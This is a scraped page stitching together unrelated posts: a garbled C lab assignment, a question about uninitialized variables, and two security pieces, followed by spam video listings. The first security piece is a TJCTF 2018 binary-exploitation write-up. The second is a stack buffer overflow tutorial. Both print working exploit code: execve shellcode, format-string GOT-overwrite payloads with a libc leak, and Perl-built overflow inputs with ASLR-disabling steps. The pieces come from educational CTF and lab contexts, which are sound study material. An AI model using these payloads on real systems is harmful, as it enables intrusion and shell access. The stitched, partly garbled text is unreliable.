Debugging with GDB - Examining Data

Having trouble with a lab for programming in c

Hey as it says in the title im really struggling and was wondering if anyone would be able to help me out here is the lab
Purpose: More programming practice, using modularization and good program structure. Practice using bitwise operators and shifting. Introduction to debugging using gdb. Program Specification Write a program that simulates a binary clock. The program will run in an infinite loop. In each iteration of the loop, the program should:
• Prompt the user for three numbers representing the time as hours, minutes, and seconds, and read the values input by the user.
• For each of the three numbers (hours, minutes, seconds) entered by the user:
• Check the number to see if it is valid.
• If the value is not between 0 and 59, inclusive, then print “Input Error: ”, as shown in the samples below.
• If the number is valid, then print the the number as a series of asterisks (*) and underscores (_), as described below.
• After printing the time, the program should break out of the loop if the hours, minutes, and seconds were all 0. Use one line for each of the numbers (in parts 1 and 2 below) and two lines for each number (in part 3), as shown in the samples (also below). Part 1: A Unary Clock In part 1, print the time in unary (base 1), using * to represent 1. For example, the value 5 would be printed as “*****”, without the quotation marks. Print each value on a separate line. Sample Run Enter hours, min, sec: 12 34 56
Enter hours, min, sec: 3 -4 5 *** Input Error: -4
Enter hours, min, sec: 0 0 0 Part 2: A Binary Clock In part 2, print the time using 6-bit binary (base 2) numbers, using * to represent each 1 and _ (an underscore character) to represent each 0. For example, the value 5 would be printed as “__**”, without the quotation marks. 1
Sample Run Enter hours, min, sec: 12 34 56
** ____ **___ Enter hours, min, sec: 3 -4 5 ____* Input Error: -4 ** Enter hours, min, sec: 0 0 0 ____
Part 3: A Binary-Coded Decimal (BCD) Clock In part 3, print the time using BCD (that is, two 4-bit binary numbers to represent each 2-digit decimal number). As in parts 1 and 2, use * to represent each 1 and _ (an underscore character) to represent each 0. For example, the value 35 would be printed on two lines as “” and “*”, without the quotation marks. Sample Run Enter hours, min, sec: 12 34 56 ___ _* __ _* ** ** Enter hours, min, sec: 3 -4 5 ____ __** Input Error: -4
** Enter hours, min, sec: 0 0 0 ____
Additional Program Requirements • The program should produce results identical to the samples show
The program should contain an infinite loop that consists primarily of functions calls. The called functions will handle prompting for and reading the time and printing each part of the time in unary, binary, or BCD. It will also contain an if statement to break out of the loop if all three values are zero. • In each part, print the asterisks and underscores for the three values by calling a (single) function three times: first with the hours as its argument, second with the minutes as its argument, and third with the seconds as its argument. • For part 2, determine the bits of the binary representation of each number, from left to right, using bitwise operations. Test each bit by ANDing the number with a mask that has a 1 in the appropriate position and a 0 everywhere else. Begin with a mask that has a 1 in the leftmost position and shift the mask to the right to advance to the next bit. • For part 3, convert each value to BCD. The digit in the 10’s place is the value divided (using integer division) by 10, and the digit in the one’s place is the value modulo 10. Then determine the bits using the method given in the preceding bullet. Debugging Using gdb (the GNU Debugger) To use gdb, compile your program using the option -g, which tells gcc to produce information needed by gdb, and then run the code in the debugger: $ gcc -g -o filename filename.c $ gdb filename See “gdbNotes.pdf” (posted on BlackBoard) for an introduction to using gdb. Please note that there is much more to gdb. For more information, see the Resources. In this lab, focus on learning how to: 1. set breakpoints 2. run the code until it hits a breakpoint 3. continue running from the current location 4. restart from the beginning (“run” again) 5. stop execution while the code is running (using Control-C) 6. single step using “next” 7. step into a function 8. list lines of code 9. print the value of variables 10. stop debugging and return to the command line (quit) 3
submitted by Volks1973 to ECE [link] [comments]

g++ handling of uninitialized int with and without -O3 option

Recently, I realised that a C++ program I wrote would work when compiled without the -O3 option for optimisation, but when -O3 was used, it would fail. After some head-scratching, I realised that I had in fact left a variable int index; uninitialised.
Using gdb, I realised index would indeed be a random value for the binary compiled with -O3, but was in fact initialised to 0 every time for the binary compiled without -O3.
When I Googled about this, everything I could find (albeit only answers on SO) seemed to agree that the variable should have been uninitialised. Hence, I'm wondering if any more experienced C/C++ programmers would be able to shed light on why g++ appears to help me initialise the variable to 0 for me without the -O3 option?
Is this simply g++'s own implementation of handling uninitialised ints, which is optimised out by the -O3 option?
EDIT: An interesting experiment:
// test.cpp #include  class Class { public: int x; }; int main() { Class obj; printf("%d\n", obj.x); return 0; } 
If you compile the above listing with g++ -g -Wall -Wextra test.cpp -o test and then run this program 1000 times (or however many times you like) with for run in {1..1000}; do ./test; done, you can try out what is going on. On my system, I experience 1000 0s being printed, perhaps due to the systemic luck that u/SiliconEngineer mentioned, but I do not know what others will experience on other systems.
submitted by HeeRowShee to learnprogramming [link] [comments]

TJCTF 2018 - Binary Exploitation Guide

Hello, I am pretty new here and I just create a full guide for all pwn challenges from TJCTF.
I hope you'll enjoy them, here is the original link on medium:

Math Whiz

We have a simple binary that will show us the flag if we could become admin.
if (admin) { printf("Successfully registered '%s' as an administrator account!\n", username); printf("Here is your flag: %s\n", FLAG); } else { printf("Successfully registered '%s' as an user account!\n", username); } 
But the admin variable is not set anywhere, so we need to pwn it. It will be pretty easy as we have the source code provided. If we take a look at the input function, we observe that it reads specified size multiplied by 16. The most obvious buffer overflow is when the PIN code gets read:
input(recoverypin, 4); 
This means that we read 64 bytes in a 4-byte array. We also see that the admin variable is declared before the buffers, so the question is how could we override it? Lucky enough, modern compilers move buffers before any other variables in order to get them way from the return pointer, but in our case, we are in advantage. Finally, any input larger than 52 bytes will provide us this beauty: tjctf{d4n63r0u5_buff3r_0v3rfl0w5}

Tilted Troop

We’ve got a binary that should read 8 team members with random strengths and simulate a battle with some fantastic creature. If the sum of strengths is our goal (400 in this case), we will get the flag. Again, we have the source code, so our life is a lot easier when we don’t have to disassemble. We see that the array of strengths is kept right after the array of names and maybe we could override somehow.
Checking how bound checks are done, we can spot a bug:
if(t.teamSize > MAX_TEAM_SIZE) 
Array indexing starts from 0, so from 0 to MAX_TEAM_SIZE there are MAX_TEAM_SIZE + 1 elements. We need to create 8 members in our team and then just override the strength variable.
for i in range(4): io.recvline() for i in range(8): io.sendline('A test') # this will override strength buffer # 'd' = 100 => 'd' * 4 = 400 io.sendline('A dddd') io.sendline('F') io.interactive() 
And here it is: tjctf{0oPs_CoMP4Ri5ONs_r_h4rD}
Full solution:

Future Canary Lab

Again, we have to deal with variable overriding, but this time we have some kind of protection:
// canary generation for (i = 0; i < 10; ++i) { canary[i] = check[i] = rand(); } // ... // canary check for (j = 0; j < 10; ++j) { if (canary[j] != check[j]) { printf("Alas, it would appear you lack the time travel powers we desire.\n"); exit(0); } } 
If you are familiar with stack canaries (or stack cookies) you easily recognize that this is a handmade implementation. As rand() is not a secure function, we could reproduce its return values for sure. In the **main() **function we see that it is initialized with the seed of current time, so it is pretty vulnerable. Using the current time when we connect to the server as the seed, we can generate the values from the canary. Here we have a little C program to generate 10 random values based on our seed:
int main(int argc, char **argv) { int seed = atoi(argv[1]); srand(seed); for (int i = 0; i <= 9; i++) { printf("%d\n", rand()); } return 0; } 
Now, as we bypassed the canary, we need to satisfy the following condition:
if (secret - i + j == 0xdeadbeef) 
secret is always 0, i could be overridden by us and j is always 10, so we need to override i with 0x2152411b to solve the equation.
At the end we have: tjctf{3l_p5y_k0n6r00_0ur_n3w357_l4b_m3mb3r!}
Full solution:
We were given a small demo banking system. We have the source code, so a vulnerability will be pretty easy to spot. At first it looks pretty secure, but if we take a look at the verify_pin() function we see a clear buffer overflow. Let’s run a checksec to see what protection does this binary implies:
[[email protected] tjctf2018]$ checksec problem [*] '/home/littlewho/ctfs/tjctf2018/problem' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments 
It does not have any stack canary or any other execution prevention, so the solution is straightforward. The name array is global so it is stored in the BSS section and we know its address: 0x6010A0. We could store our shellcode here and then use the overflow to jump here.
; execve(["/bin/sh",], [], []) bits 64 push 0x68 mov rax, 0x732f2f6e69622f2f push rax mov rdi, rsp xor rsi, rsi xor rdx, rdx xor r10, r10 mov rax, 0x3b syscall 
Compile it as raw binary using nasm in order to easily use it. The layout of the attack vector is:
4 chars for PIN + 13 bytes to fill the buffer and the RBP + RIP 
Running the exploit
Flag: tjctf{d4n6_17_y0u_r0pp3d_m3_:(}
Full solution:

Secure Secrets

Challenges until now were pretty easy, the real fun starts now. Don’t get scary, they are still easy, but they need a little bit more amount of work than others as we don’t have the source code anymore and we need to do format string exploitation.
Running the application
This is how the application looks. It just reads a password and a message then shows the message. Let’s open the binary in IDA Pro (or Hopper). Both of them could generate pseudo-code of the program (press F5 in IDA or search in top menu of Hopper), but for now let’s analyze some Assembly.
We don’t see any buffer overflow, but the following code from get_message() looks interesting:
.text:0804885D mov eax, [ebp+arg_0] .text:08048860 mov [ebp+var_2C], eax ... .text:080488EC push [ebp+var_2C] ; format .text:080488EF call _printf .text:080488F4 add esp, 10h 
var_2C is the argument passed to the function and it represents our message and it is passed directly to printf() and that means: format string vulnerability! The scenario could be classic: leak libc, overwrite some function GOT with system, pass “/bin/sh” to it and get the flag, but it is even easier, after investigating the binary a little bit more we see another function named get_secret() that has some pretty interesting code in it:
.text:08048727 push offset modes ; "r" .text:0804872C push offset filename ; "flag.txt" .text:08048731 call _fopen 
So it is clear, we need to overwrite some GOT entry with the address of this function. I will chose **puts() **as it is called after our exploit few times. We need to write 0x08048713 (get_secret) at 0x0804A028 ([email protected]) in order to get the flag. We will use 2 writes of 2 bytes. (if you are not familiar with this type of exploit read this and watch this) Before we craft our exploit, we need to know where our controlled is in order to pop addresses from it. If we set a breakpoint before the printf at 0x080488EF and dump the stack, we will see that %35$x is our buffer.
This is a short explanation for those who don’t understand how I got that number. Open the executable in GDB and put a breakpoint at that printf. Input something like this in the message: *AAAABBBB %x %x %x *and now continue. When the breakpoint is hit, dump the stack then step to the next instruction. The printf output will be something like:
AAAABBBB ffffc5ec f7fa05c0 fbad2887 
Now let’s search those values in the stack dump.
In the first square, we have the dumped values by printf and in the second one the actual buffer. The distance from first printed argument to the buffer is of 35 arguments. So, when we will want to overwrite few addresses using **%n **format argument, we will put those addresses at the beginning of our buffer and we will use %$n syntax to access them. Let’s proceed further.
Using python I generated the payload in a pretty manner:
arg_off = 35 puts_GOT = 0x0804A028 get_secret_ADDR = 0x08048713 write1 = 0x0804 - 8 write2 = 0x8713 - write1 - 8 payload = p32(puts_GOT + 2) + p32(puts_GOT) + "%{}x%{}$hn%{}x%{}$hn".format(write1, arg_off, write2, arg_off + 1) 
First we write the bytes with a smaller value and then the rest. After running it we get: tjctf{n1c3_j0b_y0u_r34lly_GOT_m3_600d}
Full solution:

Super Secure Secrets

Running the application
We have almost the same challenge, but with improved security, so let’s do some standard checks.
Now, there is no get_secret() function, we have no buffer overflow, but we still have the same format string vulnerability in the view message functionality. We need to follow a classic scenario:
Leaking the libc implies dumping the stack before the printf and investigate if we have any libc address that could be accessed by our %$p trick. As we are using a 64-bit binary, first 5 arguments are passed using registers, so stack arguments start at 6. Let’s use *%6$p %7$p %8$p *to dump few values:
0x7fffffffd390 0x7fffffffd3b0 0x100000000 
Leaked arguments
Here we have the values we printed. Looking ahead we see this:
Libc address onto the stack
By dividing 0x1d8 offset by pointer size on 64-bit arch (8 bytes) we get the position 65. So at %65$p we have __libc_start_main+ and we can leak the base address of libc. Now, we have to problems ahead:
Let’s solve them one by one. So, we have two options to get the version of libc, first would be to leak the argument 65 on the webserver, take its signature (last 3 digits) and use or to find the version. In that case, the leaked address is 0x7fdf0a8a7b97 (it changes every time, only the last digits remain, this is just an example) and its signature is b97. The second option is to use an already solved pwn challenge to connect to the server and leak the libc version, it is not very fair play, but remember this trick, it is very useful in some CTFs with esoteric libc versions.
Both solutions lead to the same answer: libc6_2.27–3ubuntu1_amd64
Searching for libc
The offset of specified symbol is 0x21b97, so now we have the base address when we want, but we still need to force the program not to close. Let’s investigate the code after we run our exploit. (I used IDA to decompile)
unsigned __int64 __fastcall get_message(char *a1, const char *a2) { // ... code before this is not relevant printf(a1, &s, a2); puts("===================="); for ( i = 0; i <= 5; ++i ) v4[i] = byte_401238[rand() % 62]; v5 = 0; puts("As a free trial user, please complete the following captcha for our monitoring purposes."); printf("Captcha: %s\n", v4); fgets(&s2, 7, stdin); if ( !strcmp(v4, &s2) ) { puts("Thank you for your cooperation..."); } else { memset(a1, 0, 0x80uLL); puts("Incorrect captcha, your message was removed from our database."); } return __readfsqword(0x28u) ^ v8; } 
After this function returns, the program closes. The simplest solution is to overwrite the GOT of a function that is called before the exit and return to the beginning of the program. As memset() is not used in the rest of the program let’s rewrite its GOT with 0x400DA0 (the address where the menu is printed and the interaction starts).
Crafting the payload is a little bit tricky, we are now on 64-bit and addresses has a lot of zero bytes, so we can’t add them at the beginning of our message because that would end the printf. We could add them at the end, but in my case I chosen to add them in the password buffer and use them from there.
After leaking the right offsets, we can craft the following vector that will leak libc and will overwrite [email protected].
# addresses memset_GOT = 0x602050 secure_service_ADDR = 0x400DA0 # payload that leaks libc and rewrite memset() GOT to secure_service() # write zeros at the first 4 bytes and the address in the last 4 # also, we will store the addresses where we write in the password buffer off = 22 # offset of password buffer leak_off = 65 # offset of __libc_start_main_ret on the stack payload = "%{}$n%{}${}p%{}$n".format(off + 1, leak_off, secure_service_ADDR, off) ... leaked_libc = stack_leak_address - 0x21b97 # calculate the base 
The next step is to get the shell. We see that memset() is called with our message as the first argument, so if we replace it with system() and add at the beginning of our message “sh || ”, then we will get a shell and the errors from the rest of the string will be ignored. So, let’s write the payload:
# payload that rewrites memset() GOT to system() write1 = (0xffff00000000 & system_ADDR) / 0x100000000 write2 = (0x0000ffff0000 & system_ADDR) / 0x10000 write3 = (0x00000000ffff & system_ADDR) # sort the writes in ascending order writes = [ (write1, p64(memset_GOT + 4)), (write2, p64(memset_GOT + 2)), (write3, p64(memset_GOT + 0)) ] writes.sort(key=lambda tup: tup[0]) print (writes) addresses = ''.join(x[1] for x in writes) write3 = writes[0][0] write2 = writes[1][0] write1 = writes[2][0] code = "sh || " payload = code + "%{}x%{}$hn%{}x%{}$hn%{}x%{}$hn".format(write3 - len(code), off, write2 - write3, off + 1, write1 - write2, off + 2) 
Running the full script will have great results:
Running the exploit
Flag: tjctf{4r3_f0rm47_57r1n65_63771n6_0ld_y37?}
Full solution:
And here we are, at the end of the journey. We pwned them all! TJCTF was a great experience with pretty interesting tasks that were beginner oriented, so I recommend it to any newcomer as the organizers did a really great job to assure a high quality CTF.
Don’t forget to subscribe and follow my Github for more wargames solutions and guides. Thanks for reading!
submitted by l1ttl3wh0 to securityCTF [link] [comments]

[Exploit tutorial: Buffer Overflow]

If you're familiar with hacking, to some degree, you should know what a buffer overflow is; however, if you do not, this tutorial aims to teach you what you need to know in order to be able to exploit Buffer Overflow vulnerabilities. Key words Will be highlighted in italics.
Prerequisites / Requirements:
A Buffer Overflow, is a vulnerability which is encountered when a program writing data to a buffer, exceeds the bounds of the buffer, causing the excess data to overflow into adjacent memory.
Picture this, we have created a C program, in which we have initialized a variable, buffer, of type char, with a buffer size of 500 bytes:
int main(void) { char buffer[500]; } 
And in this program, we take input from the command line, which is then copied to a buffer, via the C function strcpy().
int main(int argc, char *argv[]) { char buffer[500]; strcpy(buffer, argv[1]); } 
Notice, that we have not checked whether or not the length of argv[1] is within the buffers range of 500 bytes; Why not? Well, you'd think that like most modern day programming languages, the strcpy() function would check this before copying the data to the buffer? This is not the case, and is a common misconception made by novice programmers who are not aware of the security implications regarding certain functions, which is why this vulnerability exists and may continue to exist further into the future.
Now, you may be wondering how you could possibly exploit such a vulnerability, I mean what good is writing a few bytes into memory.. Well, on it's own, nothing, but if you were to overwrite the return pointer of the function which you are within, you could ultimately alter the flow of code execution within the program that you are targeting. For example, in the program above, say that theoretically the memory location of buffer starts at 0x00000000, and ends at 0x0000007D (which should have 500 bytes of space), and that the return pointer is located 524 Bytes away from that, it would take an input of 1024 Bytes, e.g 1024 "A"'s, to get "behind" the return pointer, which means that you can then overwrite the next 4 bytes of memory defined as the return pointer, and then watch as it is POP'ed into the EIP register, and executes whatever code, malicious or otherwise, which may lie on the other end address you specify.
Exploiting the Buffer Overflow vulnerability:
Now we get on to the really fun bit, where we actually get to exploit a program which is susceptible to this exploit vector. If you are going to attempt this on your own computer, firstly, make sure you are NOT using Windows >= Vista, as Windows >= Vista, have protections in place, such as ESP (Executable Space Protection), ASLR (Address Space Layout Randomization), and various other exploit prevention techniques. It would be more advisable to use operating systems such as Linux, Unix, and other Unix based operating systems to get this working, as it's easier to disable the countermeasures put in place by running a command such as:
Which will disable your systems ASLR until you reboot, which is not an option in Windows operating systems.
If you do not have access to a Linux operating system, or are too lazy to dual boot or install a VM, you can SSH into various wargaming servers (such as Smash The Stack or Over The Wire) to practice the skills learned here in a legal and safe way, with minimalistic effort, for all you lazy h4xx0rs out there.
Now, on with thy spl0itz.
I'm going to use a simple source code from Smash The Stack : Blowfish, which does not currently have a webpage. Here is the code:
#include  int main(int argc, char * argv[]) { char buf[256]; if(argc == 1) { printf("Usage: %s input\n", argv[0]); exit(0); } strcpy(buf,argv[1]); printf("%s", buf); } 
As you can see, it follows the same principles as the example code used previously in the tutorial, but with some extra validation to make sure that argv[1] is present.
So, lets compile this code and continue.
In this tutorial, I'm going to use GCC (GNU C Compiler) from the GNU Compiler Collection to compile my code. I will compile using the following command:
Which will compile the code with required headers for gdb to be able to debug it, and also disable gcc's stack protection in systems which have patched gcc to have it enabled by default.
Once we have compiled our vulnerable code, we can open the executable, which I have called "bof", with GDB, for debugging, using the command:
Which should give you something similar to this:
GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu"... (gdb)
Now that we are in GDB, we can start getting into the real exploitation; firstly, we want to make sure that we can run the executable correctly from GDB. We can do this simply by typing "run", which should return:
Usage: /home/bof input
Program exited normally.
If it returns an error instead, then try moving to a folder where you have sufficient permissions.
Assuming that the program executes, then exits normally, we can carry on.
We now need to establish how many bytes we have to enter until we have control over the return pointer. There is two main ways to do this:
I tend to just use trial and error, as the second option requires the Metasploit Framework, which may not be available on machines such as the ones you will encounter while wargaming.
So, for trial and error, we want to type run:
which for me, causes a segmentation fault, which occurs when EIP is set to an address which cannot be executed, or is outside of the available memory for the program.
So, now that we know the return pointer resides within 512 bytes of the start of our buffer, we can start to slowly decrement the amount of "A"'s that we print, until the program executes without error, and returns "Program Exited Normally.", which for me, occurs at 268 Bytes, which is only 12 Bytes away from the end of our buffer. This means that the return pointer lies between 269 Bytes and 273 Bytes.
Armed with this knowledge, we can move on to adding in our shellcode, which is comprised of the opcodes of Assembly instructions. The shellcode I will be using for this tutorial is a /bin/sh shellcode written by one of my hacker buddies from SoldierX, which will drop you into a bash shell which has the permissions of the program you are attacking. Here it is:
So, what do we do now? Well, we have to incorporate this into our exploit. we do this by first adding the shellcode into the Perl string, giving us this Perl code:
run perl -e 'print "A" x 268 . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'
And then we must take away the amount of Bytes the shellcode contains, from the overall amount of "A"'s (or whatever filler you are using), so that we still retain control over the return pointer. In order to do this, we must replace the number "268", with "(268 - 26)", where 26 is the amount of Bytes in the shellcode (Every 2 Bytes in the shellcode equates to one Byte in Hex, the "\x" signifies the following 2 Bytes are a hexadecimal Byte). This will give is this code:
run perl -e 'print "A" x (268 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'
This command on it's own will not actually give us a working exploit; for that, we need to find out the address of where our shellcode is stored. But before we get into the nitty gritty with Assembly Language, I want to make 2 more adjustments to our current exploit:
The altered code will look like this:
run perl -e 'print "\x90" x (268 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\xff\xff\xff\xff"'
Now, we've got an almost working exploit, all we have to do now, is find that memory address, to do that, we have to run "disas main", which will give us the following result:
Dump of assembler code for function main: 0x080483f4 : push %ebp 0x080483f5 : mov %esp,%ebp 0x080483f7 : sub $0x118,%esp 0x080483fd : and $0xfffffff0,%esp 0x08048400 : mov $0x0,%eax 0x08048405 : sub %eax,%esp 0x08048407 : cmpl $0x1,0x8(%ebp) 0x0804840b : jne 0x804842e  0x0804840d : mov 0xc(%ebp),%eax 0x08048410 : mov (%eax),%eax 0x08048412 : mov %eax,0x4(%esp) 0x08048416 : movl $0x8048574,(%esp) 0x0804841d : call 0x80482f8  0x08048422 : movl $0x0,(%esp) 0x08048429 : call 0x8048308  0x0804842e : mov 0xc(%ebp),%eax 0x08048431 : add $0x4,%eax 0x08048434 : mov (%eax),%eax 0x08048436 : mov %eax,0x4(%esp) 0x0804843a : lea -0x108(%ebp),%eax 0x08048440 : mov %eax,(%esp) 0x08048443 : call 0x8048318  0x08048448 : lea -0x108(%ebp),%eax 0x0804844e : mov %eax,0x4(%esp) 0x08048452 : movl $0x8048585,(%esp) 0x08048459 : call 0x80482f8  0x0804845e : leave 0x0804845f : ret End of assembler dump. 
This is where you will need to have some knowledge of Assembly to get through
As you can see, we have a full dump of the programs Assembly code; so, what do we do with it? Well, first, we have to look for the call to strcpy(), which should be pretty easy, as it's marked in the Assembly code as "[email protected]". So once he know where the strcpy() is called, we can set a break point to pause before it is called, and examine the stack. To do this, run the command "break *main+79".
Run the program again, and we should get something like:
Breakpoint 1, 0x08048443 in main () (gdb)
which signifies that the program is waiting at the specified breakpoint.
We now want to examine the top two pointers on the stack, which are the arguments which will be passed to the strcpy() function. To do this we type "x/2x $esp", which will give us:
0xbfffd6c0: 0xbfffd6d0 0xbfffd974
The two addresses after the colon are the addresses that we are interested in. To view what data they hold, we have to type "x/s 0xbfffd6d0", which will give us:
0xbfffd6d0: "\210"
Which is clearly not our shellcode, so this must be the buffer before we have written to it. So, if we type "x/s 0xbfffd974", we should see our shellcode.
0xbfffd974: '\220' ...
Hmm.. Well that's odd.. No shellcode. Oh yeah, it's further down, past the Nops. Press enter once and we should see it.
0xbfffda3c: '\220' , "1ÀPhn/shh//bi\211ãP\211âS\211á°\vÍ\200ÿÿÿÿ"
That's it! We know where our shellcode is stored, so now we can take the address "0xbfffd974" and substitute it right into the exploit.. right? Nope, we must swap the byte order around due to a phenomena known as Little Endian, Which causes byte orders to switch around inside addresses. So, we switch around the Bytes to give us "74 d9 ff bf", which then need to have "\x" prepended, as they are hex bytes, which will give us "\x74\xd9\xff\xbf". This can now be substituted into our exploit to give us the Perl code:
Which, when run, should give us a shell :D (Note that sometimes GDB does not have the permissions required, so you should run it outside GDB, by typing "quit", then replacing "run" with the name of the binary):
From now on, you will have a shell in the specified application (until you choose to quit)! Once you do quit, however, the program will crash, and most likely cause Denial Of Service in programs such as web servers, which are responsible for serving data to clients.
I'm not going to cover how to alter the flow of execution so that the program continues to function correctly, as this is meant to be a tutorial explaining the basics of the buffer overflow, how the concept works and is exploited, so, that is the end of my Buffer Overflow Exploitation tutorial, I hope that you learned how to exploit buffer overflows quickly and easily (if not, feel free to pm me with any questions or problems and I'll make sure to get back to you), thanks a lot :),
submitted by JustAnothaHacker to hacking [link] [comments]

5.2A Variables TEKSvideo Reference and Value Parameters, Debugging picoCTF 2018 - be-quick-or-be-dead-2 // solved with gdb & radare2 CS101 Assignment # 2 Solution Spring 2020 HackTheBox - Ellingson MGT-301 GDB 1 solution  spring 2020  learn with zaheer ul islam Variables in C [Hindi / English] by Kumar Tutorials APL 4000 LINEAL  UBS Compiling C programs with gcc Product Options by Bold Advanced Product Variable Options App - Shopify Tutorial for Beginner

gdb binary path of corefile. This will load the corefile. 4- Then you can get the information using bt command. For detailed backtrace use bt full. 5- To print the variables use print variable-name or p variable-name. 6- To get any help on gdb use help option or use apropos search-topic. 7- Use frame frame-number to go to desired frame number. print *variable If you do that it will display the value of that variable in GDB. You also have an option to display the struct in an indentation and new line: $1 = { next = 0x0, flags = { sweet = 1, sour = 1 }, meat = 0x54 "Pork" } For that you need to set the pretty print: set print pretty on If you want to print an array of values you do ... x/4b &variable: Print binary representation of 4 bytes (1 32 bit word) of memory pointed to by address. ptype variable ptype data-type: Prints type definition of the variable or declared variable type. Helpful for viewing class or struct definitions while debugging. GDB Modes ; set gdb-option value: Set a GDB option: set logging on set logging off show logging set logging file log-file: Turn ... For example, here GDB shows that a variable ptt points at another variable t, defined in `hi2.c': (gdb) set print symbol-filename on (gdb) p/a ptt $4 = 0xe008 <t in hi2.c> Warning: For pointers that point to a local variable, `p/a' does not show the symbol name and filename of the referent, even with the appropriate set print options turned on. Here file or function is the name of the context for the static variable.In the case of file names, you can use quotes to make sure GDB parses the file name as a single word—for example, to print a global value of x defined in f2.c: .gdbinit - A user-friendly gdb configuration file. GitHub Gist: instantly share code, notes, and snippets. Integer, print as octal. s Try to treat as C string. t Integer, print as binary (t = „two“). u Integer, unsigned decimal. x Integer, print as hexadecimal. <what> expression Almost any C expression, including function calls (must be prefixed with a cast to tell GDB the return value type). file_name::variable_name Content of the variable ... Hmmm, yes, thank you, fair point. I'm not sure how that's escaped my notice for so long. I think I'll leave the answer here, however, because iirc, I stumbled upon this question when I'd googled something like "How to pass command line arguments using gdb", and finding the answer missing, I went on to add it, without realizing (for almost a year!) that my answer didn't address the question at ... GDB allows you to run the program up to a certain point, then stop and print out the values of certain variables at that point, or step through the program one line at a time and print out the values of each variable after executing each line. GDB uses a simple command line interface. Points to Note. Even though GDB can help you in finding out ... For example, here GDB shows that a variable ptt points at another variable t, defined in `hi2.c': (gdb) set print symbol-filename on (gdb) p/a ptt $4 = 0xe008 <t in hi2.c> Warning: For pointers that point to a local variable, `p/a' does not show the symbol name and filename of the referent, even with the appropriate set print options turned on. Other settings control how different kinds of ...

[index] [17002] [5344] [7025] [29173] [3706] [22848] [9083] [20134] [11009] [18033]

5.2A Variables TEKSvideo

Multifunctional and adjustable real time labels Print & Apply System for cases, boxes and packs. Tamp-on contact application by variable working stroke Pneumatic cyllinder. Designed for high speed ... -Og : compile with gdb in mind, so it leaves in variable information and doesn't optimize out too many variables.-std=gnu99 : the flavor of C we will be using for cs107. Category Education; Show ... This video is about reference parameters vs. value parameters, creating a prototype, and setting breakpoints for debugging in Xcode and Visual Studio. #Product #Options #Shopify In this video, you can learn how to add Product Options in Shopify Online Store. Also, get a full detailed review of Best Shopify Advanced Product Variable Options App. 35:30 - Using Ghidra to discover the hardcoded password in the garbage binary 37:00 - Exploring the binary, using Ghidra to see if there are any hidden menu options 41:30 - Installing GDB Enhanced ... Best Binary Options Strategy 2020 - 2 Minute Strategy LIVE TRAINING! - Duration: 43:42. BLW Online Trading 129,969 views. 43:42. PSY101 Assignment Solution Fall 2019 & 2020 VU Hashim Ali ... mgt 301 - gdb No 1 Solution Spring 2020 By Study Science Solutions In this video i will tell u how to Solve mgt-301 GDB No 1 Complete Solution Spring 2020. I hope you like the video. if u like ... Hello Dosto, is video m maine variables k bare m bataya hai. Variable kya hote hai or variable ko kaise declare karte hai in c language. Mujhe umeed hai apko ye video pasand aayega DataType in C ... Solved with gdb first, then radare2. We cover known plain text attack (KPA), recursion vs iterative functions, and integer overflows exploring this challenge. As you enjoy this music even more ... 5.2A Variables TEKSvideo. Song I LIVE IN A TREE - Boost - PMOL ; Artist PMOL; Album PMOL 044 Freak Folk and New Weird; Licensed to YouTube by AdRev for a 3rd Party, AdRev for Rights Holder (on ...